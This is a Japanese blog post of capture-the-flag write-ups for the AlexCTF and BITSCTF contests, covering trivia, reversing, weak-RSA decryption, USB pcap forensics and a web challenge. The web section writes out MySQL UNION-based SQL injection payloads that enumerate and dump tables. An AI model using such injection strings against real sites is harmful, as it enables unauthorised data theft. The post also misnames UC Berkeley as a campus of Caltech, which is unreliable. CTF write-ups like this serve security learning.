週末CTF Writeup
こんにちは.たんごです. 最近は卒論の執筆に追われSECCONを最後にCTFから一旦身を引いていましたが卒論も提出し残すは発表のみとなりました.今週は2つのCTFが開催していたので思い出すために少し挑戦してみました.
AlexCTF
1140 pt で 219位でした.まずまずという印象.
Trivial
TR1: Hello there
ヒントなし.Guessing. ひとまずIRCにログインしてみる.するとあるやーん
Flag: ALEXCTF{W3_w15h_y0u_g00d_luck}
TR2: SSL 0day
サーバーとクライアント間でサーバーのメモリリークする脆弱性は? Heartbleed
TR3: CA
Alexctfのhttps証明書のCA名は? letsencrypt
(みんな大好きって感じですね)
TR4: Doen’t out logo look cool?
トップページにあるロゴの文字列からアルファベットと数字, アンダースコア, {}
のみを抽出する.
Flag: ALEXCTF{0UR_L0G0_R0CKS}}
Reversing
Re1: Gifted
stringsするだけ.
Flag: AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
Re4 unVM me
Pythonのコンパイルされたコードが渡されるのでpycdcでデコンパイルし元のソースコードに戻す.するとこのソースコードを見ると次のことをすればフラグが出てくるみたい.
- フラグの長さは69 より短い
- フラグの長さは5で割り切れる
- フラグフォーマットより一部文字列がわかっている:
ALEXCTF{<something>}
- フラグを5文字ずつ区切りスクリプト内にあるmd5と比較している
最初にアルファベットと数字の組み合わせで5文字ずつ上のスクリプトを書こうかと思ったがもしかするとMD5の値自体がインターネットの海に保存されているかもしれないとエスパーし探してみたところ普通に見つかった.
Flag: ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}
Crypto
CR1: Ultracoded
コネコネするとBase64文字列が出てくるのでそれをさらにデコードすると次のような文字列が出てくる.
.- .-.. . -..- -.-. - ..-. - .... .---- ..... --- .---- ... --- ..... ..- .--. ...-- .-. --- ..... . -.-. .-. ...-- - --- - -..- -
雰囲気的にモールス信号なのでアルファベットに直す.
ALEXCTFTH15O1SO5UP3RO5ECR3TOTXT
あとはエスパーで{}
を追加しかつO
をアンダースコア(_
)に置換したものがフラグだった.
Flag: ALEXCTF{TH15_1S_5UP3R_5ECR3T_TXT}
CR3: What is this encryption?
典型的なRSA暗号の復号化をする問題.ありがたいことに既にp, qがあるのでdを求めて暗号文を復号するだけの問題. 適当にやれば5分くらいで解ける問題
Flag: ALEXCTF{RS4_I5_E55ENT1AL_T0_D0_BY_H4ND}
CR4: Poor RSA
またしてもRSAの問題.与えられたファイルを展開すると次の2つが得られる.
- flag.b64
- key.pub
これよりkey.pubに保存されている公開鍵から秘密鍵を生成すれば良い.OpenSSLのコマンドで中身をダンプする.
openssl rsa -noout -text -inform PEM -in key.pub -pubin Modulus (399 bit): 52:a9:9e:24:9e:e7:cf:3c:0c:bf:96:3a:00:96:61: 77:2b:c9:cd:f6:e1:e3:fb:fc:6e:44:a0:7a:5e:0f: 89:44:57:a9:f8:1c:3a:e1:32:ac:56:83:d3:5b:28: ba:5c:32:42:43 Exponent: 65537 (0x10001)
399ビットなのでタイトルからも考えられるように多分これは素因数分解が可能なはずである.factordb.com で検索してみると出てきました.
p = 965445304326998194798282228842484732438457170595999523426901 q = 863653476616376575308866344984576466644942572246900013156919
あとはこれからPEM形式の鍵を生成して解読する.
$ base64 -d flag.b64 | openssl rsautl -decrypt -inkey priv.key ALEXCTF{SMALL_PRIMES_ARE_BAD}
Flag: ALEXCTF{SMALL_PRIMES_ARE_BAD}
Forensics
Fore3: USB probing
渡されたpcapファイルにはUSB通信をsniffしたと思われるキャプチャデータが含まれている. サイズが一番大きいパケットを見てみるとヘッダにPNGとあるのでこれはPNGファイルが含まれているのでは? と踏み,Leftover Capture DataをExportしてプレビューでみてみる.
(ファイルが壊れていてHatenaが受け付けないのでキャプチャを)
Flag: ALEXCTF{SN1FF_TH3_FL4G_OV3R_U58}
PPC
SC1: Math bot
結構大きめの桁数の四則演算を高速で返せばよい.計算式を受けとってPythonのevalにそのまま投げるようにしてその計算結果を返すようなスクリプトを書いた.後は250回連続で正解するとFlagが得られる.
Flag: ALEXCTF{1_4M_l33t_b0t}
BITSCTF
あんまりやる気が出なくてこっちのCTFはほとんど頑張らなかったですが130 ptで 96位. みんなやる気がないのがよくわかりますね.
Web
BOTBOT
/robots.txtをみてという感じの問題.
$ curl http://botbot.bitsctf.bits-quark.org/fl4g/ BITCTF{take_a_look_at_googles_robots_txt}
Batman vs Joker
Get to the databaseより普通にSQLiするのかなと考える.
例えば1'
と入力すると次のように出力される.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' Limit 1' at line 1
これよりデータベースサーバーはMySQLであることがわかる.
テーブル一覧を取得する.
1' union SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema';#
すると
のように大量に返ってくる.怪しいJokerあたりを漁る.
1' union select * from Joker;#
次のように返ってくる.
First name:Harry Surname: Potter First name:BITSCTF{wh4t_d03snt k1ll y0u, s1mply m4k3s y0u str4ng3r!} Surname: Enjoying the game Batman!!!
久々にSQLインジェクションをしたので思い出すのに良い問題だったw
Rev
Riskv and Reward
バイナリをダウンロードしてfileしてみる.
$ file riskv_and_reward riskv_and_reward: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, stripped
UCB RISC-V? とかいう謎のアーキテクチャが出てくる.そういや最近RISCとかいうARMと違って完全フリーなアーキテクチャが開発されているというような情報を耳にしたなぁと言うのを思い出し,適当に検索をかけると
でてくる.なるほどUCBはカルフォルニア工科大学バークレー校のことか. QEMUとかソフトウェアエミュレーションはどこかで作成してるやろと思いGitHubを覗くとお望みのプロジェクトが存在してる.
あとは適当にLinuxのVMでメモリを少しデカ目に設定してビルドすれば普通に使える. 試しにドキュメントどおり実行してみる.
$ ./riscv-qemu/riscv64-linux-user/qemu-riscv64 -L $RISCV/sysroot ./riskv_and_reward BITSCTF{s0m3_r1sc5_4r3_w0rth_1t}
ありゃ簡単にフラグが出てきちゃったw やるだけ問でした.
for
Woodstock-1
よくわからないプロトコルで通信している.普通にstrings
でフラグ見つけた.
$ strings ws1_2.pcapng | grep BITS $MyPass BITSCTF{such_s3cure_much_w0w}|
Flag: BITSCTF{such_s3cure_much_w0w}
所感
久々にCTFをやったので少しツールとかやり方忘れてた感じがあったけど思い出した. 週末に2つCTFを企画するのはやめてほしい.あと簡単なRSA系の暗号を解くときにいちいちソルバ探すの面倒くさいからいい加減自分用のライブラリ作成したいという気持ちになりました.